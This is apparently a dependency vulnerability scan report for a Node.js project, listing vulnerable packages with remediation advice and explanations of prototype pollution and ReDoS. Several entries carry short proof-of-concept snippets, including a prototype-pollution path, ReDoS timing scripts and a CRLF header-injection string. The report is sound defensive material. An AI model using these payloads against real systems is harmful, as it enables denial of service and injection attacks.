- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@5.13.15.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path() function.
Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.
PoC:
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString())
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose to version 5.13.15, 6.4.6 or higher.
References
high severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@6.21.2.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.
Remediation
Upgrade sequelize to version 6.21.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.30.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
Upgrade axios to version 0.30.0, 1.12.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.
Note:
This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
Workaround
This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.
PoC
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.29.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
new
- Vulnerable module: form-data
- Introduced through: jsdom@8.5.0, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › chai-http@3.0.0 › superagent@2.3.0 › form-data@1.0.0-rc4Remediation: Upgrade to chai-http@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › form-data@2.1.4
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
medium severity
new
- Vulnerable module: joi
- Introduced through: jsonwebtoken@7.4.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3 › joi@6.10.1Remediation: Upgrade to jsonwebtoken@8.0.0.
Overview
Affected versions of this package are vulnerable to Uncaught Exception through the link validation. An attacker can cause the application to crash or become unresponsive by submitting deeply nested input that triggers an unhandled RangeError exception. This is only exploitable if input validation is performed without proper exception handling (such as missing try/catch blocks).
Remediation
Upgrade joi to version 17.13.4, 18.2.1 or higher.
References
medium severity
new
- Vulnerable module: js-yaml
- Introduced through: babel-istanbul@0.12.2, eslint@3.19.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-istanbul@0.12.2 › js-yaml@3.14.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › js-yaml@3.14.2Remediation: Upgrade to eslint@8.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › istanbul@0.4.5 › js-yaml@3.14.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › js-yaml@3.6.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.
Remediation
Upgrade js-yaml to version 4.2.0 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3 and css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.
Workaround
This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@8.0.5.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.
Remediation
Upgrade nodemailer to version 8.0.5 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@7.0.7.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.
Remediation
Upgrade nodemailer to version 7.0.7 or higher.
References
medium severity
- Vulnerable module: postcss-selector-parser
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss-selector-parser@2.2.3Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss-selector-parser@2.2.3Remediation: Upgrade to css-loader@1.0.0.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.
Remediation
Upgrade postcss-selector-parser to version 6.1.3, 7.1.2 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › ip@1.0.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input.
An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.
Note
This vulnerability derived from an incomplete fix for CVE-2023-42282
Remediation
There is no fixed version for ip.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: react@15.7.0, react-dom@15.7.0 and others
Detailed paths
-
